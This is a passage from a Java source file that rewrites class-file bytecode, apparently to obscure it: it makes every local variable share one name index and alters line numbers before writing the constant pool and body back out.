602 | for (int z = 0; z < codeAttrCount; z++) { 603 | int codeAttrType = dis.readUnsignedShort(); //u2 cpref 604 | body.writeShort(codeAttrType); 605 | String codeAttrString = getPoolString(constantPool, codeAttrType); 606 | int codeAttrLen = dis.readInt(); 607 | body.writeInt(codeAttrLen); 608 | 609 | if (codeAttrString.equals("LocalVariableTable")||codeAttrString.equals("LocalVariableTypeTable")) { 610 | int lvtLength = dis.readUnsignedShort(); 611 | body.writeShort(lvtLength); 612 | // The LocalVariableTable offers some helpful hints about what variables are called, and it's gotta stop 613 | int firstNameIndex = 0; 614 | for (int cl = 0; cl < lvtLength; cl++) { 615 | body.writeShort(dis.readUnsignedShort()); //u2 start_pc 616 | body.writeShort(dis.readUnsignedShort()); //u2 length 617 | 618 | int nameIndex = dis.readUnsignedShort(); 619 | if (cl==0) firstNameIndex = nameIndex; 620 | body.writeShort(firstNameIndex); //u2 cpref name_index 621 | 622 | body.writeShort(dis.readUnsignedShort()); //u2 cpref descriptor_index / signature_index 623 | body.writeShort(dis.readUnsignedShort()); //u2 cpref index 624 | } 625 | } else if (codeAttrString.equals("LineNumberTable")) { 626 | int lntLength = dis.readUnsignedShort(); 627 | body.writeShort(lntLength); 628 | for (int cl = 0; cl < lntLength; cl++) { 629 | body.writeShort(dis.readUnsignedShort()); //u2 start_pc 630 | body.writeShort(dis.readUnsignedShort()|4); //u2 line_number isn't verified at all 631 | } 632 | } else { 633 | byte[] attrData = new byte[codeAttrLen]; 634 | dis.read(attrData, 0, codeAttrLen); 635 | body.write(attrData); 636 | } 637 | } 638 | } else { 639 | byte[] attrData = new byte[attrLen]; 640 | dis.read(attrData, 0, attrLen); 641 | body.write(attrData); 642 | } 643 | } 644 | } 645 | 646 | // The remainder! 647 | byte[] data = new byte[1024]; 648 | int bytesRead = dis.read(data); 649 | while (bytesRead != -1) { 650 | body.write(data, 0, bytesRead); 651 | bytesRead = dis.read(data); 652 | } 653 | 654 | body.flush(); 655 | body.close(); 656 | 657 | dos.writeShort(cpCount); 658 | 659 | for(Object o : constantPool.values()) { 660 | if (o instanceof String) { 661 | dos.writeByte(1); 662 | dos.writeUTF((String)o); 663 | } else { 664 | dos.write((byte[])o); 665 | } 666 | } 667 | 668 | dos.write(baos.toByteArray()); 669 | 670 | dos.flush(); 671 | 672 | return true; 673 | } catch (Exception e) { 674 | e.printStackTrace(); 675 | } 676 | return false; 677 | } 678 | } 679 | --------------------------------------------------------------------------------